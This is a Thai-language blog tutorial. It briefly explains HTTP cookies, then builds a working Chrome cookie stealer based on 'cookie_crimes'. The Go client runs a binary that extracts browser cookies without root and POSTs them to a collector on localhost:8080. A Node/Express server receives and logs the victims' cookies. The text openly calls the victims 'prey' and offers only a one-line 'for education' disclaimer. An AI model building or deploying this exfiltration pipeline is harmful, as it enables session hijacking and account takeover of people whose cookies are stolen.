คุณเคยสงสัยหรือไม่ว่าคุณจะลงชื่อเข้าใช้เว็บไซต์เพียงครั้งเดียวและยังคงลงชื่อเข้าใช้ได้อย่างไร แม้ว่าคุณจะปิดเบราว์เซอร์แล้วก็ตาม ไม่ว่าคุณจะรู้หรือไม่ก็ตาม คุกกี้มีอยู่ทุกหนทุกแห่ง ในบทความนี้ เราจะพูดถึงประวัติของคุกกี้ วิธีทำงาน วิธีใช้งานคุกกี้ใน JavaScript และข้อกังวลด้านความปลอดภัยบางประการ
คุกกี้ HTTP (Hypertext Transfer Protocol) เป็นข้อมูลชิ้นเล็กๆ ที่เซิร์ฟเวอร์ส่งไปยังเว็บเบราว์เซอร์ของผู้ใช้ เบราว์เซอร์อาจจัดเก็บและส่งกลับพร้อมกับคำขอในภายหลังไปยังเซิร์ฟเวอร์เดียวกัน
ศึกษาเพื่มเติมเกียวกับคุกกี้🍪 Read more
แต่ ⚠️ เราสร้างขึ้นเพื่อการ ศึกษา หากนำไปใช้ในทางที่ผิด เราจะไม่รับผิดชอบ
เข้าไปดู Source code ได้ที่ Cookie_crimes
เราจะมี Directory หลักๆเลยคือ Client และ server
client/ server/
src/ Makefile main.go
ใน client ของเราก็จมี Makefile เอาไว้ทำอะไร ??? Makefile เอาไว้ Build file main.go เช่น Bulid ให้เป็น EXE ใช่ใน windows ลองดูตัวอย่างต่อไปนี้
buildwindows: GOOS=windows GOARCH=amd64 go build main.go build: go build main.go
การเรียกใช้งาน Makefile ง่ายมากๆด้วยการพิมพ์ว่า make ตามด้วยชื้อ เช่น make build ต่อไปเราจะไปที่ src ก่อนใน src คือfileที่ใช้ในการ การสกัดคุกกี้ Chrome โดยไม่ต้องรูท
สามารถดูเพื่มเติมได้ที่ cookie_crimes
อย่างแรกที่เราควรทำเลย ไปที่ Makefile อย่างที่สอนไปตอนต้นเลยให้เรา build ทั้งหมดให้เป็น binary ให้เรา make binary แล้วเราจะได้ file cookie_crimes มาfileเดียวใน Directory ./dist ให้เราเข้าไปใน Directory ./dist แล้วนำ file cookie_crimes ออกมาจากsrc
src/ + cookie_crimes main.go
ต่อไปเราจะไปดูในส่วนของ main.go
package main import ( "log" "net/http" "os/exec" ) func main() { cmd := exec.Command("./cookie_crimes") stdout, err := cmd.StdoutPipe() if err != nil { log.Fatal(err) } if err := cmd.Start(); err != nil { log.Fatal(err) } if err != nil { log.Fatal(err) } resp, err := http.Post("http://localhost:8080", "application/json", stdout) if err != nil { log.Fatal(err) } defer resp.Body.Close() }
การทำงานของคำสั่ง
พิมพ์ make build
แล้วเราจะได้ file cookie_crimes ที่พร้อมใช้งาน ถ้าเข้าโปรแกรมนี้ มันจะดูดcookieเราส่งไปที่ localhost หรือ dir ./server ที่จะทำต่อจากนี้ ต่อไปเราจะมา Directory server ซึ่งเป็น การสร้าง server เพื่อรอรับ cookie เหยือของเรา
เราใช่เป็น nodejs มาถึงเรา สร้างProjact node โดยเขียนตามคำสั่งนี้
npm init -y
แล้ว project ของเราก็จะเจอ File เพิ่มขึ้นมา 1 File ชื่อว่า package.json ซึ่ง file เนี้ยจะเป็นเหมือนกับบัตรประจำตัว project ของเราว่า project ของเราน่ะ ใช้ nodejs นะ มี command ให้ใช้ตามนี้นะ และต้องใช้ Library ต่างๆที่ระบุไว้ในนี้ ก่อนจะใช้งาน app นี้ก็ให้ลง Library พวกนี้ก่อนนะ ประมาณนี้น่ะครับ
+ package.json
ต่อไปเราจะลง express และ body-parser กัน โดยเขียน
npm install express npm install body-parser
เสร็จแล้วเราก็สร้างfile index.jsึ้นมา
node_modules package.json package-lock.json + index.js
ให้เข้าไป ที่ index.js
const express = require("express"); const bodyParser = require("body-parser"); const App = express(); function Logger(ip, body) { console.log(`FROM ${ip}`); console.log(body); } App.use(express.json({ limit: "10mb"})); App.post("/", (req,res) => { Logger(req.id, req.body); res.status(200).json({ status: "success" }); }); App.listen(8080, () => { console.log("Listening on " + 8080); });
การทำงานของคำสั่ง
เป็นยังไงกันบ้างครับขอให้เขียน Code กันอย่างสนุกนะครับถ้าผมมีข่าวสารดีๆจะมาเขียนบทความให้นะครับขอบคุณครับ
อ่างอิง cookie_crimes